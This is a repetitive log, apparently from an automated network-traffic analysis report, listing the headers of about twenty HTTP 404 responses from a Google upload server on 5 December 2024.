Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:15 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-io0FNNwtHU18-shtaoyDxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC5bk6WIGMbJhaagACpIOn3XF1WMZezwnSGRcXhjMrbovwGvcM9g7hq5-fMCjvPbTLAc3NvXtEGR2gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:15 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-AbV2gDGKdyYx-SKT4V8xlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC5-zqFqH1SV7FrZoNoUGc-DoUO8rzvbr4hJJ_IXETFcr2Z2LJ1m8Eneo1CZ2wjw0grJojJrAtrCnQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:21 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-p4DDkl2N-jDHPLenLk3Yiw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6Ce489e93DCaBDFxFu_VVBIxT39kSm5l28j1aM5g9z4pAbzuahHeAZ3Z0KnbLfSCzjJ431iduLywServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ar4Lhqz-xRyxPvuZJOcP_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC5SIkfez9rzjA83V8eoAP9o-ROKoLGxhf6YXmXSwK6ldoHUekSDZPhL16wPoPYF40P94TfoQhdzuwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:24 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-5mO7QFxetloBV6TCnnWfww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC7q2WKGnjDsDotFwcs60Vwh4J_sqnZOlksScCmiH78f3VxNDn6bfWumyhlFYI_pYDZCtTeYnSVbvQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:30 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oNtpzylPBWHJx2dp_QVv0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7ZV2FAjBQ9fS-YKvgurS4oeLpdgUcBbbf8h_eJwf9tO3I_fiHl8Vj7ZIhyznhuDdaOXnsPQsiMgQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:31 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-NN3KDHrM3lRqH_wA-7JN2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC4U06475Uj096dia6Wgh9KL97k9Rthh_npOBKYsNAgHqA-O1Cx7fISrpEVrV2p2FUOHZJMJKdTmIgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:44 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-ntlq2e4rItCp83X-sRhk3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5eIK-gtnULMPzzby4CJEI8ud2lOuMUWeQIia4cxom3d8ArF-ZJebrML_riJNnqa0SgEpk6_dlVygServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:44 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ml3yh1X72R3YFDnoUzp-eA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7HpVkV5sCAUk02T3pW-TGh5YrA1S60YVJyFAI5gQYqtQS_DMrZogr4vQCmH2PxkOpHtgPx0GPSXAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gIb6Hkquxuha7iIyZG89Hw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5UzwPD8IRErznQdWj7UH4uqX8F-UdcmVJyPcelk_HBuY-Mup7T5zXZRUFGpisXmILfQKPUfI4MQgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:15:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-dA2cZ3W7k32Tm9Oi4PuTEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4Ch90_Wvz1w4cJ1ELZsMuf5QuJebh-ttSlHwpsDuF5OqaMqP4fq29g0QKnOcNG3hBy_n0NJEJHbgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:03 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-HdF4UB53WXDv2Wi8iZyC5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6cT95AireJvCs0z5KeoPNyKMuJVls0_CBqJAZ7SI6o5M8D2BUzZZIIejm_eq9zfPAGHXMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:04 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-A8nAvMuFpgSac-OWtCHLAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652X-GUploader-UploadID: AFiumC5CWYrk7zQfy3Gz9nUzP_2kafZUpHrMMtflyBhH2Bw7OYK41O0v9ErZHgoPmOKplATrH8IDtztkKAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:09 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-IWkp8Td5nzkn9-kB5w05mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5altvasEFnHjKzqbMDUnMpKj9gcYYsEFQmH_x0OrgK_EKmKkDPTxU5_F2dRg-QBZ0-lI0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:12 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wSfgltkTIdDFRPZzXMHV_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6BqFoft7TfjdaQYuA1NvSxhr5fZuqczW12qMwisSZmS5JSw0uKvZv3oDGak862oYnmV5Ueg4MbBgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:19 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-27Y-zeu-HbiEt1MZbYPZMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6etOcVPARGavMclFhy_2zM43vDn03YavLuB2inaEhsFdNg9pprO_dbGT92wh66DBNnN7MMW_UxSAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:19 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4ViAzcGMt6F6x_YGbFwKPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7d2_3ZGJoLjXuIJTi3HK7GWm9wAEEg1PCcGyAK0lUqYmCzrbD_tD34lMo9zOU2z3--RovD0XU3SAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:25 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-t6xGuQDH8jw8205yMUQIcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC44iFXGkrvxw2QCmjOSv_-blUPu7H382-Zzq6HV9yUB_Xp2qLVKHzo_BlIbqOcLjD-XdLuzKWdm5wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:26 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fhUtYGTq6CTsPCNUXPRTrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5LEIyvBtx381ikNuIsnFhYKx9WL1YoKab03RfD3-3vR4eqJQfVnzCvbD0ssdW0wNTuBa7WBUuh7wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:31 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-nCb_7cNANH-xYtywGe0L7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6iaOmUKHI171fDLpHOBbwrd-8doJEyJnRs8_POR4Gvuf9IvWE3RmCpXgRrtcb8NXZxBHcServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
